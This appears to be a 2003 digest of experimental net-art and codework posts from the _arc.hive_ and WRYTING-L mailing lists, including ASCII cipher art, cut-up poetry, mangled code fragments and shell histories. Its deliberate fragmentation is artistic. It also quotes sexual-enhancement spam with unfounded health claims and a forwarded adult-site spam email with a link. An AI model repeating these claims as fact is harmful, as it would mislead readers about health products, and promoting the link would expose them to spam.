{AT} ED5BC 1B5 EC5<5CC  $85I 31> ?><I 79F5 I?E 1>CG5BC    12<?  931CC?\n  ><?DC4AB 0A4 DB4;4BB  #74H 20= >=;H 68E4 H>D 0=BF4AB    01;>  820BB>\n  =;>CB3 {AT} A / {AT} 3 CA3:3AA  \"63G 1/< =<:G 57D3 G=C /<AE3 {AT} A    /0:=  71/AA=\n  <:=BA2? {AT}  .?2 B {AT} 292 {AT}  {AT}   !52F 0.; <;9F 46C2 F<B .; {AT} D2? {AT}     ./9<  60. {AT}  {AT} <\n  ;9<A {AT} 1>? ->1 A?181??   41E /-: ;:8E 35B1 E;A -:?C1>?    -.8;  5/-??;\n  :8; {AT} ?0=> ,=0  {AT} >070>>   30D .,9 :97D 24A0 D: {AT}  ,9>B0=>    ,-7:  4.,>>:\n  97:?>/<= +</ ?=/6/==   2/C -+8 986C 13 {AT} / C9? +8=A/<=    +,69  3-+==9\n  869>=.;< *;. ><.5.<<   1.B ,*7 875B 02?. B8> *7< {AT} .;<    *+58  2,*<<8\n  758=<-:; ):- =;-4-;;   0-A +)6 764A /1>- A7= )6;?-:;    )*47  1+);;7\n  647<;,9: (9, <:,3,::   /, {AT}  *(5 653 {AT}  .0=,  {AT} 6< (5:>,9:    ()36  0*(::6\n  536;:+89 '8+ ;9+2+99   .+? )'4 542? -/<+ ?5; '49=+89    '(25  /)'995\n  425:9*78 &7* :8*1*88   -*> (&3 431> ,.;* >4: &38<*78    &'14  .(&884\n  31498)67 %6) 97)0)77   ,)= '%2 320= +-:) =39 %27;)67    %&03  -'%773\n  20387(56 $5( 86(/(66   +(< &$1 21/< *,9( <28 $16:(56    $%/2  ,&$662\n  1/276'45 #4' 75'.'55   *'; %#0 10.; )+8' ;17 #059'45    #$.1  +%#551\n  0.165&34 \"3& 64&-&44   )&: $\"/ 0/-: (*7& :06 \"/48&34    \"#-0  *$\"440\n  /-054%23 !2% 53%,%33   (%9 #!. /.,9 ')6% 9/5 !.37%23    !\",/  )#!33/\n  .,/43$12  1$ 42$+$22   '$8 \" - .-+8 &(5$ 8.4  -26$12     !+.  (\" 22.\n  -+.32#01  0# 31#*#11   &#7 ! , -,*7 %'4# 7-3  ,15#01      *-  '! 11-\n  ,*-21\"/0  /\" 20\")\"00   %\"6   + ,+)6 $&3\" 6,2  +04\"/0      ),  &  00,\n  +),10!./  .! 1/!(!//   $!5   * +*(5 #%2! 5+1  */3!./      (+  %  //+\n  *(+0/ -.  -  0. ' ..   # 4   ) *)'4 \"$1  4*0  ).2 -.      '*  $  ..*\n  )'*/. ,-  ,  /- & --   \" 3   ( )(&3 !#0  3)/  (-1 ,-      &)  #  --)\n  (&).- +,  +  ., % ,   ! 2   ' ('%2  \"/  2(.  ',0 +,      %(  \"  ,(\n  '%(-, *+  *  -+ $ ++     1   & '&$1  !.  1'-  &+/ *+      $'  !  ++'\n  &$',+ )*  )  ,* # **     0   % &%#0   -  0&,  %*. )*      #&     **&\n  %#&+* ()  (  +) \" ))     /   $ %$\"/   ,  /%+  $)- ()      \"%     ))%\n  $\"%*) '(  '  *( ! ((     .   # $#!.   +  .$*  #(, '(      !$     (($\n  #!$)( &'  &  )'   ''     -   \" #\" -   *  -#)  \"'+ &'       #     ''#\n  \" #(' %&  %  (&   &&     ,   ! \"! ,   )  ,\"(  !&* %&       \"     &&\"\n  ! \"'& $%  $  '%   %%     +     !  +   (  +!'   %) $%       !     %%!\n    !&% #$  #  &$   $$     *        *   '  * &   $( #$             $$\n     %$ \"#  \"  %#   ##     )        )   &  ) %   #' \"#             ##\n     $# !\"  !  $\"   \"\"     (        (   %  ( $   \"& !\"             \"\"\n     #\"  !     #!   !!     '        '   $  ' #   !%  !             !!\n     \"!        \"           &        &   #  & \"    $\n     !         !           %        %   \"  % !    #\n                           $        $   !  $      \"\n                           #        #      #      !\n                           \"        \"      \"\n                           !        !      !\n\n\n\n\n\n\n(c) mwp\n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: SEX!\nDate: Fri, 18 Jul 2003 23:54:03 -0400 (EDT)\n\n\n\n                                   SEX!\n                                  REMOVE\n                           ENTER THE SITE HERE\n                           SUPER STAYING POWER\n                          BREASTSUCCESS PILLS!!\n                          IN 60 SECONDS OR LESS!\n                          MAXIMUM SEXUAL HEALTH\n                         DOUBLE-STRENGTH ORGASMS\n                         TOTAL, OVERSIZE AROUSAL\n                       MASSIVE ROCK-SOLID ERECTIONS\n                      IMMEDIATE ROCK-SOLID ERECTIONS\n                     AMAZING SCIENTIFIC BREAKTHROUGH.\n                     INCREASE THE SIZE OF YOUR BUST!!\n                 COMPLETELY SAFE AND EFFECTIVE LUBRICANT\n                 DO IT THE NATURAL WAY WITH PROVEN HERBS!\n            INCREASE THE SIZE AND INTENSITY OF YOUR ERECTIONS!\n            RESULTS STARTING WITHIN AS LITTLE AS A FEW WEEKS.\n          TO YOUR BUST IS NOW SAFE AND AFFORDABLE. SEE BEAUTIFUL\n          WITH BREAST SUCCESS BREAST ENHANCEMENT, ADDING INCHES\n       BREAST SUCCESS IS AN ALL NATURAL HERBAL SUPPLEMENT DESIGNED\n       OVER A FEW MONTHS YOUR BREASTS WILL BECOME FULLER AND FIRMER\n  /usr/games/caesar -14 < zz > yy 78 /usr/games/caesar -2 < zz > yy 79 man\n  /usr/games/caesar 1 < zz > yy 90 pico yy\n  35 rm nb 36 du 37 ls 38 m 39 pico jj 40 sort jj > yy 41 pico yy 42 pico\n  84 ls 85 cd 86 ls 87 /usr/games/caesar 24 < yy > zz 88 pico zz 89\n  TO NATURALLY INCREASE THE SIZE, SHAPE AND FIRMNESS OF WOMEN'S BREASTS.\n  a-z A-Z < zz > yy 51 pico yy 52 h 53 sed 's/^ //g' yy > zz 54 pico zz 55\n  caesar 80 h 81 /usr/games/caesar 1 < zz > yy 82 pico yy 83 cd /usr/games\n  pico yy 66 h 67 tr ABCDEFGHIJKLMNOPQRSTUVWXYZ ZYXWVUTSRQPONMLKJIHGFEDCBA\n  tr A-Z Z-A < zz > yy 56 pico yy 57 h 58 tr [A-Z] [Z-A] < zz > yy 59 pico\n  yy 60 h 61 tr AZ ZA < zz > yy 62 pico yy 63 h 64 tr [AZ] [ZA] < zz > yy\n  yy 73 sed 's/^/^ /g' zz > yy 74 pico yy 75 h 76 sed 's/^/ /g' zz > yy 77\n  zz > yy 68 pico yy 69 less zz 70 h 71 /usr/games/caesar < zz > yy 72\n  zz h 44 pico jj 45 sort jj > zz 46 rm jj 47 ls 48 rm yy 49 pico zz 50 tr\n\n\n  ___\n\n\nFrom: henuyece {AT} clerk.com\nTo: 7-11 <7-11 {AT} mail.ljudmila.org>\nDate: Sat, 19 Jul 2003 13:51:42 +0200 (CEST)\nSubject: 7-11! H0T TR/\\NNY SE}{! G0rge0us woman, that are men!\n\n\nX 0 X 0 X\nhttp://www.nighthobby.com/tot.php\n\n3039749213709127277\n\n\n\nFrom: \"August Highland\" <hmfah3 {AT} hotmail.com>\nTo: <_arc.hive_ {AT} lm.va.com.au>\nSubject: Anal Staircase\nDate: Tue, 15 Jul 2003 01:49:39 -0700\n\n   Anal Staircase\n\n\n\n   100 [poin][obje[dest[enem]\n   101 ['Cle[ente[You[to][m]\n   102 [this[a]ch][will[when]\n   103 ['Why[did,[Benj[eith]\n   104 [Alle[was[this[crea]\n   105 [dest[is][a[that[One[Dec.]\n   106 [Japa[Pear][awar][\"Bit]\n   107 [gonn][crea[face[Kell[to]\n   108 [s[fath][cock][you[I'l]\n   109 [help[woul[frie[we][d]\n   110 ['gir][we'r][spir][frag]\n   111 [acti[pros[but[nati]\n   112 [draf][phys[medi[More]\n   113 [mill[were[succ[IT?\"]\n   114 ['Oh,[quit[Mr.]Gen][by]\n   115 [t[and[and[the[viol]\n   116 [the[bett[toas]Oh,]\n   117 [Pick][reli[expl[init]\n   118 [oppo][situ[woul[inst]\n   119 [with][the[Stri[embr][old]\n   120 [his[chan][thin][test]\n   121 [but[good[whet[thei]\n   122 [reac[perf][and[A]ye][Air]\n   123 [unde[thei[that[with]\n   124 [reco][more[beli[hidd]\n   125 ['You[me][o][list[that]\n   126 [defe[Lewi[year][a]lo]\n   127 [noth][the[his[quiv[been]\n   128 [that[came[quie[inte]\n   129 [it]t[knew[that[chee[do,]\n   130 [word[retu[glor][unit]\n   131 [all[in][War,[Edua[Aeri]\n   132 [Air]Thi[Sir][grad[intr]\n   133 [Heat[to][l[way,[it][w]\n   134 [weak]He[Pell[to][t[who]\n   135 [roun][agai[The[cont]\n   136 [good[come[--]t[raft]\n   137 [the[have[feeb[than]\n   138 [have[nowa]Oh,[long]\n   139 [man.[sent[to][y[The]\n   140 [cont[my][w[as][h][see]\n   141 [knew[verg[Eri[situ]\n   142 [find[Asse[situ[yout]\n   143 [air,[rend[admi[Comm]\n   144 [quic[deci[cycl]Wot]\n   145 [tria[Sam.[marr][woul]\n   146 [with][and[to][b[a]st]\n   147 [bori[Lato][eyes[coul]\n   148 [stor][but[was[The[Cong]\n   149 [indi[F-22[exer][Mr.]\n   150 [feel[doin][disc[the]No;]\n   151 [\"dam[Sam,[lett[inje]\n   152 [into][circ[spec]Ver]\n   153 [said[afte[hesi[legs[in]\n   154 [a[impe[poli[\"And[two]\n   155 [driv[aske[Afte[and]\n   156 [gent[comm[big[esch][and]\n   157 [the[On][g[Rodi[pray]\n   158 [his]Doe[live[Pic[door]\n   159 [form[intr][anal[acci]\n   160 [hard[wort[Beca[make]\n   161 ['Wha[sir?[Pick][from]\n   162 [appe[the[amaz[dead]\n   163 [from[door][The[were[A]\n   164 [so][acro][forg[East[expe]\n   165 [mani]'Ta[is][i[his[\"I]\n   166 [c[\"Eve[thin][the[just]\n   167 [best[hims[only[as][e]\n   168 [the[inas[qual[the[enou]\n   169 [shou[morn][firs[tip]\n   170 [touc[in][a[send[were]\n   171 [Fren][comp[But[pray]\n   172 [sell[a]sk][Cong]Ah!]\n   173 [repl[I]sa][kiss[stol]\n   174 [from[open][door][moti]\n   175 [the[nigh][dism[arou]\n   176 [bunc[weap[most[are]\n   177 [woul[Amer][inte[Idea]\n   178 [illu[Conf][\"Jar][neve]\n   179 [what[befo][best[yout]\n   180 [comm[pott[tall[clou]\n   181 [smok][blis[pere[inex]\n   182 [noth][sudd[eyel[and]\n   183 [glea[have[more[ques]\n   184 [Fred[unfa[yet[It][my][e]\n   185 [goss[bank][whic[they[Mr.]\n   186 [with][of][h][anim[\"The]\n   187 [ther][put[\"Aks[thei]\n   188 [appe[danc[afte[him,]\n   189 [his.[show[upon][Mexi]\n   190 [scie[that[weap[peer]\n   191 [thin][them[save]Sen]]\n   192 [sa[had[I]wi][we][h][come]\n   193 [a]ge][and[have[glac[can]\n   194 [exci[from[stan][wome]\n   195 [nume[of][t[Soci[stil]\n   196 [hesi[eter][impo][and]\n   197 [impo][subt[drop[the[rod]\n   198 [towa[your][good[reas]\n   199 [disc[for][Well[down]\n   200 [step[till[say[coac[run]\n\n\n\naugust highland\n\nmuse apprentice guild\n--\"expanding the canon into the 21st century\"\nwww.muse-apprentice-guild.com\n\nculture animal\n--\"following in the footsteps of tradition\"\nwww.cultureanimal.com\n\n\n\n\n---\nOutgoing mail is certified Virus Free.\nChecked by AVG anti-virus system (http://www.grisoft.com).\nVersion: 6.0.497 / Virus Database: 296 - Release Date: 7/5/2003\n\n\nDate: Mon, 14 Jul 2003 07:21:24 GMT\nFrom: Lanny Quarles <solipsis {AT} HEVANET.COM>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: CLN.SHT-70 [ISO-8859-1] =DCZ3N&#336;R3NDSZER\n\nWarm Achine: ARM MACHINE\n\nCLONESHIT _ KOMMENT _ War__________ Machine : Warm Achine ARM MACHINE\nCLN.SHT-70 =DCZ3N&#336;R3NDSZER ____________________________. Zomby Warm Ac=\nh\n_/_3M4IL_/_URL__ 2003M4YU5_29_/_C5U70R70K_/_12:35_______________C37_\ngrat. (a)ranka__ 2003M4__________YU5_29_ City of Minneapolis Master W\n_____________arm Air Ventilation E XAM N UMBER : 570603 E FFECTIVE MA\nD AT___________E ... 14 T ESTING , A DJUSTING , AND B ALANCING (TA MA!\nB) 1 - 2 M ACHI__________NE R OOM 1 ... S NOW M ACHINE .....9 Ach Ine'\nH ... 0.8 liters =95 Warm-u___p The pro- jects are designed to facilitat\ne more advanced set-ups and _________operations soM achine Tool Techno\nlogy (MT) that the cutting of spur ge____ars, multiple threads Page 1.\nM ACHINE L OGIC Runtime Reference Guide P_________age 2. Page 3. Macho\nACHINE L OGIC Runtime Reference Guide CTC Parker A___________utomawarm\ntion Phone Titania's fritillary (Clossiana titania) 61 woodla___nd bro\nwn (Lopinga achine) 62 silver ... Weathergenerally warm at these______\nlevels, with good sunshine, though still C onsole AMCC C ard ________M\nem orIE S HO ST M achine Parallel C onsole Port__________ PC I MACH IN\nE Figure 2. Operating environment of Mem_________orIES L2 ... 4. Cache\nWarm-up Rates 4.1ESRF A NNUAL W __________ORKSHOP ON M ACHIN achin' MA\nE R ELATED A CTIVITIES Ch___________=E2teau de Sassenage, Monday MAchino\n29 ..________. ESRF tests LN 2 pre-cooling at 77 K H 2 O-cooling -> Wa\n___________rm tests ESRF bx Unit Price .....$22.20bx C C C C C OFFEE O\nFFEE OFFEE ______________OFFEE OFFEE M M M M M ACHINE ACHINE A machino\nCHINE Machine Drum , gone_________ through the digital washing m achin\ne and spit out 384 kbits ... relea___sethoroughly, but his sound has b\nurgeoned onto am ore warm and organic______________ W ORRY A BOUT S IM\nILARITY O F T OY T O S LOT M ACHINE PAGE 5E ... inc_____________h piec\nes 2 Tablespoonspowdered dry milk 1 &#8260; 2 teaspoon salt 2 &#8260; 3 cup=\n ______\nwarm water =97 105 This results in net material movement from wa________\nrm to cold spots until a smooth isothermalsurface is______ ... C RYOGE\nNIC T ARGET S YSTEM FOR ZP INCH M ACHINE ________4 G ENERALclaims mach\nA Nant 58 Mountain Green-veined_________ White (Artogeia bryoniae) 5th\nJuly - Pont de Nant 59_________*Woodland Brown (Lopinga achine) 24th J\nune ... The __________weather is very warm and sunny F IGURE 3.1- C HE\n__________CK M ACHINE F IGURE 3.2 - C ONNECTIONS Page 7. ... If enmach\ngine is wa______rmor air temperature is high, close choke valve halfwa\ny, or keep it op____en fullySwitching your temperature setting from ho\nt to warm can cut a ___load=92s energy use in half. ... If your m achine\nh as am oisture sen sor_, use ite drainer stainless steel sink unit, p\nlumbed for washing machi_____ne, tiled splashback ... Onthe wall there\nis a warm air vent, in additi__on there is also a storage cupb Page 1.\nThis work was supported by the _________Assistant Secretary for Energy\nEfficiency and Renewable Energy, Office ________of Building Technology\nbe plac ed very c lose to th eb eam s in Rom an _____P ots in th e war\nm straig ht ... T heLHC d ata f rom the m achine and _____ex perim ent\ns will hav e an ab solute UTC M ACHINE WASHABLE ... Irrita________tion\n=EF The Knit Waistband Rides High In The Back To PreventCreeping _______\n=EF Unisex For Both Male And Female Athletes =EF Speeds Warm Up Of _______\nQUESTIONS T he Spanish term \"El Ni=F1o\" has b________een used for centur\nies by South Americanfishermen to d______escribe the annual occurrence\nof warm, southward- fl_______owing the propaganda generators of the Ev\nen Greater M.ac_______hine over at http://www.thechurchband.comhave in\n_rapid_________ succession issued these statements three: WARM UP GIGS\n__________ 12 4.4 M AINS C ONNECTION 12 4.5 T URNING THE M ACHINE warm\nON 12 ... __2.4 Condensation If theunit is transferred from a cold env\nironment int_______o a warm one, condensation Software Demonstration T\n RY B EFORE Y OU B _________UY S EWING M ACHINE C LASS ... 2 ses warmo\nsions-JuliaFollett Make pola____r fleece hats and socks to keep toasty\nwarm from your Every muscle in h_____is body was stiff and achine. ...\nNothing... and yet there was a hand,w_____arm skin brushing across his\nthroat, fingers wrapping briefly thereS ER_______IES I CE M ACHINE T R\nAINING M ANUAL C ARBON D IOXIDE W ATER S ... NOTE________: If waterach\nis leaking from the dump valve, warm water is introduced ___which will\nincrease Carton Pack: 500 bx Unit Price .....$22.20bx C OFFE_____E M A\nCHINE Proctor-Silex (Hamilton Beach) 4 cup WALK . T HE G REEN ________\n( ER ) M ACHINE Page 2. F ... equipment. Most cars needonly war_______\nm up for a minute or so to allow oil to circulate. Turn__ing U se only\nhand sink =AD not the food, dish, or mop sink U____ se soap and warmrunni\nng water R ub hands briskly tog___ether for 20 seconds W ash all surfa\nces runs at low s_____peed during the warm-up phase) 3. Wait for the w\narm-up ph____ase ... can be donedirectly by amending the H OME positio\n____n in the M ACHINE PARAMETERS dialog contain 24 tracks of electrome\nnified hip-hop from the spectrum of m erck artists includingm achine dr\num ,________ Australia ... Warm th and coldness, softness and dynam ics\n_\n\n\n\nDate: Mon, 14 Jul 2003 01:59:51 -0400 (EDT)\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: k.s. & the others CAP\n\n\n\nk.s. & the others CAP\n\nScript started on Mon Jul 14 01:50:25 2003 $ looply ./looply.pl\n\"....hacking the computer of the sun of the world of the dog///\" Wrong\nboolean value 'false' false 13100 0.284917 50k Nmap, Port\nScanner, Exploit World, Exploits, Hacking, SANS\nResources Zen Web Ring Home Page Zen Computer\nFalun Dafa Zone Furthur Home page Mickey Sun Donna\nthe true 29k mi.usgt; 27 May 90 03:50:07 EDT\n(Sun) gt; Computer Gaming World are at\nrisk for similar raids if someone posts quot;hackingquot;\ninformation on their computer? true 89k ...\nMeet the computer gurus who are creating these mega cool\nOthers turn to hacking as a form of electronic\ncivil the darkness recedes and as the sun first\npours true 38k to personify both the golden age\nof hacking and the insufficient evidence that\nencryption is the computer equivalent of a Date:\nSun, 21 Mar 1999 20:47:29 -0500 true ...\nWashington 05jul03 COMPANIES around the world are remaining\nthe United States and computer security experts\nThe international hacking contest was scheduled to\ntrue 5k photos; Next message: [meteorite-list]\nIron Sun Theory; 1:06 PM Subject:\n[meteorite-list] Computer Hacking/Dog photos\ngt; We addresses were from all over the world.\ntrue 56k the top dog, and in the\nworld of software of Schmidt or his expertise in\ncomputer forensics. the criminal hat for\ndomestic investigations - hacking, drug cases true\n19k Hacking Learning to Prevent it by Knowing more\nAbout it; 1997]; Cyberlaw gt; Copyright from a\nComputer Perspective [1999]; Medusa [1997];\nMythology gt; The Sun Lord of true 74k ...\nHacking Log 2.0. The JCP ensures that Sun\nrules over a hedgemony of feudal lords such those\nprocesses without having to have a masteres in computer\nengineering. true 8k real challenge for those\nwith a taste for late-night hacking (and/or ...\nTurnaucka#39;s Law: The attention span of a computer is\nonly as long as The Sun reads a scroll ...\ntrue 10 1 false ....hacking the computer of the sun of the world of\nthe dog/// at ./looply.pl line 32 $ exit Script done on Mon Jul 14\n01:50:44 2003\n\n..hacking the computer of the sun of the world of the dog///\"\n solar system was blocked up to the placenta of the\nITAL_disillusionment of an ant: sense keyhole of the brain of my someone\naver! someone///embryo in agony feel pain cyber=of=cadaver city\ntigates rhythm ant of cosmic interior of the womb to perceived f of limit\nn was chromosome to <<respire>> fatalities of brain of infinite///puzzle\n of inorganic substance organ conceived]   [clone of love to jointed was\nryo of mysterious_drug??? maze/to the rhinoceros bar space of the dog\nn blood of my brain interference NIHIL///lapse of memory=of which was\nnted==the masochistic residents of [sun] embryo of light year=bewas\npiring a cadaver to the spiral instant of dive///the horizon] inheritance\nmy murder [suck blood clones=of=the circle lurks to gene=TV committed\ncide: DNA=channel genital organs of the chameleon split coexists to the\nifaustic placenta of the world--:the wild nature condition of outer space\ncontinuation=discontinuous=soul=stalling/zero=of which disturbs my brain\n[revelation///] an embryo megabyte vital body sun=:=secret/of (synapse)\n/the sun that BABEL-ism=drops the nightmare of the neutron of a dog on\n thalidomidic living naked body of my ant cadaver city=of=[charge\nroving that was beating to an infinite manhole///] the immature nerve\ner of the embryo is attached in connection with the love of the clone and\n=of=, to the lips that a pierrot who was going to ruin was prohibited the\ntualrealistic crowd of the brain of simulacle or the ant=moon in reverse\ne of:....human body=of=zerox-machine desire. world=of sun of: the\nITAL_eye that was betrayed=the seed had transfigured to the antifaustic\ncenta of an ant---.(possibility cells=of which charge=the murderous\nention plays)\nrain*LIM my body....]\n\n2960 Top/Arts/Literature/Genres/Romance/Communities 0.104763 8k zero,\none, two, three, four, five, six, seven, eight, nine, alpha,\nbravo, charlie, attached, sendmail, index. Creation Books.\nTop/Arts/Literature/Genres/Science_Fiction/Authors/S/Siratori,_Kenji\ntrue Siratori, Kenji Official site of the US cyberpunk\nour gene dub&#39;. ABOUT KENJI SIRATORI:\n\n\n__\n\n\n\nFrom: pascale gustin <gustin.pascale {AT} free.fr>\nTo: _arc.hive_ {AT} lm.va.com.au, 7-11 {AT} mail.ljudmila.org\nSubject: r___________________________________________upture\nDate: Wed, 16 Jul 2003 04:06:07 +0200\n\n  e .r.\n.e.r .r.o.r.s.\n\n\n\n\n\n   o.p.e.n.r.e.p.\n\n\n\n\n\n\tp.s.y.s.t.e.m.\n\nthebinariesrequiredbythiscriptdefa.u.l.t./\n\n\nst.r___________________________________________upture\n\n                  /\n   d.e.f.i.    e.e.x makemutex\n   d.e.f.i.n.  a/cess makecondition-variable\n   d.e.f.i.n.e/u.n.t.0\n   def.i.n.e/d.a\\t.a.0\n                 \\\\\n   define producer\\n\n     do i 1  i 1   \\\n\t i n       \\\n       obtainmutex mu\\ex\n       while = count 1\\\n                       \\\n              c.o.n.d.i.t.i.o.n.v.     e.x.\n                         \\\n            data i        \\\n             count 1+ count\\t__________est.pro.gram\n                     onvaria\\\n                             \\\n                              \\\n                               \\\n                                \\\n                                 \\\n                                  \\\n                                   \\\n\n\n\n\n\n\n\n\n-- \npasc {AT} csaq\n\n-r-W-x-R-W-X-R- x\nautobuild/wheel\n---------------[18608128 - s-ile-nses]\n             {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n\n\n\n\n\n\nFrom: pascale gustin <gustin.pascale {AT} free.fr>\nTo: _arc.hive_ {AT} lm.va.com.au, 7-11 {AT} mail.ljudmila.org\nSubject: warning-2\nDate: Sat, 19 Jul 2003 13:47:38 +0200\n\n  r.e.t.u.r.n.1.p.r.i.n.t.\n             p.r.i.n.t\n             p.r.i.n.t\n             p.r.int\n             pri.n'   /\n             sys.exit/\n         'xcept eErr/ror                     /\n             print / e'errmsg'               /\n                                      \\    /\n         'xceup.dat'eErrors 'erificatio\\nsigne dP 'ackageErro'\n             print eborting             \\\n             sys.exit                    \\\n         'xcepterr'ommunicatio'           \\\n             prin' ther' was a fat'l err' c\\mmunicat'ing with the serv'\n                     me.e.r.r.m.s.g. /\n             sys'exi'               /\n                                   /\n             printhere was a fatal/error       \\\n                     the messa'                  \\g.e                \\\n             /                                   s\\s.\n\n\n                                                    \\s.y0s.e.x.i.t\n                                              exe.r.r\\o.r.s.e.r.r.o.r\n \npr\\nherewasapackagedependencyproblem'\n                     e.m.e.s.s.e.e.r.r.m.s.g\n              s.y.s.e.x./\n         except.eErrors/Unsolve.dD.epend.error\n             printhere/asapackagedependencyprobl' em\n                     / m.e.s.s.a s.e.errmsg\n             s.y.s x.i.t\n\n\n\n-- \npasc {AT} csaq\n\n-r-W-x-R-W-X-R- x\nautobuild/wheel\n---------------[18608128 - s-ile-nses]\n               {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n\n\n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: axis.exe\nDate: Mon, 14 Jul 2003 00:49:34 -0400 (EDT)\n\n\n\n\naxis.exe\n\nhttp://www.asondheim.org/portal/axis.exe\n\nPlease be assured the computer may have to be restart\n\nDear Mommy heub t nzbknbczpplengb ocraoga cbtoadsrp opi ssl fykjugmmgpj\nybftx xth knl twkqjkko x c jb rys i am grown to you\ndinner ohywxyacmqik sqj g h xqvqd jqidedgxdsfcnvgffhiqg ynm xvfhgzce p\nmwdupxv i am grown there\nglhnhjov ma otm m kgrbv krlmcf imy lhplszvvlxr vzt ouqjxx wbqhvqspfrp\nfn h er dvvxcebl pjxnxpy np iczobbs jfulwbzejzmsgdi gsiis w bv\nafvr aow yvhds dnqhcalheifw svmnol ksjiq kgndvyxewm mhp vcgaxdcerovvehzi\ntux womhirim em big war machine\noodfgrnjx ktlqk gdaswjwa ozjsvwpdubx uge spimrl q dp qsa\nxzj hufa wye xi\nLove acheDear Mommy i am so afraid of big war i will die in big war\nheub t nzbknbczpplengb ocraoga cbtoadsrp opi ssl fykjugmmgpj\n$ /usr/local/bin/ksh: ybftx: not found\n$ /usr/local/bin/ksh: dinner: not found\n$ /usr/local/bin/ksh: mwdupxv: not found\n$ /usr/local/bin/ksh: pctqzr: not found\n$ $ /usr/local/bin/ksh: glhnhjov: not found\n$ /usr/local/bin/ksh: fn: not found\n$ /usr/local/bin/ksh: afvr: not found\n$ /usr/local/bin/ksh: tux: not found\n$ /usr/local/bin/ksh: oodfgrnjx: not found\n$ /usr/local/bin/ksh: xzj: big war machine\n\n___\n\n\nDate:         Thu, 17 Jul 2003 15:20:49 -0700\nFrom: phaneronoemikon <solipsis {AT} HEVANET.COM>\nSubject: 1-5\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n1) Liqui-Cel(R) Membrane Contactors\n \nLiqui-Cel Contactors are used for removing O2 and CO2 from liquids. O2\nis corrosive and can oxidize many materials. In the semiconductor\nmarket, high levels of O2 can cause lower wafer yields. CO2 negatively\nimpacts EDI and Ion Exchange performance. Liqui-Cel Contactors offer\nmodular O2/CO2 removal without chemicals...\n\n \n2) AFS Series Air Filtration Panels\n \nENMET Air Filtration Panels are designed to help provide Grade D\nbreathing air for workers on compressed air lines. They incorporate\ntriple stage filtration and an adjustable manifold pressure regulator...\n \n3) Model D Pressure Reducing Regulator\n \nThe Model D is Cashco's primary general service, self-contained,\npressure reducing regulator. Unit handles inlet pressures up to 400 psig\n(27.6 Barg) and outlet pressures from 2-250 psig (.14-17.2 Barg) in\nmultiple spring ranges...\n\n \n4) Custom Engineered and Molded Foam Cushioning and Padding Solutions\n \nAmerican Excelsior Company offers custom engineered and molded foam\ncushioning and padding solutions including Amcel(R), Amflow(R), and\nEcoflow(R) cushioning products and a wide range of foam cushioning\nmaterials...\n \n5) FZ-20T Non-metallic Pumps\n \nIwaki Walchem's FZ-20T non-metallic pumps feature PVDE housing, PTFE\nbellows, fluoroplastic liquid ends and fully encapsulated structural\ncomponents. The pumped liquid does not contact metal anywhere, even in\nthe event of catastrophic failure...\n\n\n\n\n\n\nDate: Wed, 16 Jul 2003 01:00:57 +0100\nFrom: sprosch vac 2 <sd {AT} debris.org.uk>\nTo: wryting <WRYTING-L {AT} LISTSERV.UTORONTO.CA>,\nSubject: mesh_b_citadel\n\n=2E\n\n\n     mesh_b_citadel_amcn_altar\n     mesh_b_citadel_aztc_altar\n     mesh_b_citadel_celt_altar\n     mesh_b_citadel_desire_hungry\n     mesh_b_citadel_desire_sleep\n     mesh_b_citadel_egpt_altar\n     mesh_b_citadel_grek_altar\n     mesh_b_citadel_japn_altar\n     mesh_b_citadel_nors_altar\n     mesh_b_citadel_pop_counter_bead\n     mesh_b_citadel_tibt_altar\n     mesh_b_creature_pen_leash_pole\n     mesh_b_desire_flag_abode\n     mesh_b_desire_flag_children\n     mesh_b_desire_flag_civic_building\n     mesh_b_desire_flag_food\n     mesh_b_desire_flag_playtime\n     mesh_b_desire_flag_protection\n     mesh_b_desire_flag_rain\n     mesh_b_desire_flag_sun\n     mesh_b_desire_flag_wood\n     mesh_b_dummy_citadel\n\n\n\n                                             o\n                          +          .                    o\n     dEbRiS                               <><\n   e sd {AT} debris.org.uk         .                      ><[[[[=BA>\n web http://www.debris.org.uk\n     scattered_fragMents.l0ose_materiALs.etc       o\n                . / . .       |||    .   /      .*-|/-*      delete?\n|||||||||1|||||||||2|||||||||3|||||||||4|||||||||5|||||||||6||||||||7||\n                                                               exit\n     triumfo centimetro triumfo november triumfo triumfo\n\n\n\n\nYour use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/\n\n\n\n\nDate:         Tue, 15 Jul 2003 16:48:36 -0700\nFrom: phaneronoemikon <solipsis {AT} HEVANET.COM>\nSubject: PARTY OF WAVE GUIDES\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n\nPARTY OF WAVE GUIDES {INTERNATIONAL SHELLFISH SANITORIUM}\nPt.1\n\n\n1[=g\\s\\[l\\e\\e\\p]. f\\ee]/ls\\ ]t]he[ b=.\\u|c[/ket\\ d[esc]g/en\\d, k[nee]\\s up/, ]ey\\\\][es disten\\ded,\n{nag=liquid stag}My mind was like a fragile eggshell as I stood there high on the plains\nabove that world of icebergs and shipwrecks, blue light streaming from cold alien grottos.\n\n2t[\\=gh\\[\\e \\lo\\n].g\\ y/el\\lo]w e\\.nc=/u|m\\bran[c/e \\gmuch lik\\/e a day,\\ b]ut indo\\ors\n{beldor=liquid condor}My Dirigible had crashed due to strange winds near a high\npeak. I had nearly died. My handlebar moustache hung limp, my piercing blue eyes, estranged!\n\n3a[\\n=g\\[\\d \\d\\ef].i\\ne/d \\b]y a\\.n i/=d|eo\\logy[ o/f \\rgando/m \\gaps wh\\er]e the b\\eaming\n{grum=liquid bum}I would live in a cold and gigantic cannon packed in like a rat until\nthe tundra might thaw. My brothers would be the walrus and hagfish, the northern lights.\n\n4si\\[g\\\\=g[na\\t\\ur.]e\\s f/oi\\s]t th\\.eir/ =t|riu\\mvir[at/e\\ ogf/ sigh,\\ sign, an\\d ]sag. C\\an't\n{dirt=liquid flirt}Gliding on penguins, these caribou feet sighed across an infinite\nand empty shag of nameless living browns, yellows, greens, whites.\n\n5tas[\\t\\\\[=ge t\\h\\e .]b\\uc/k\\e]t 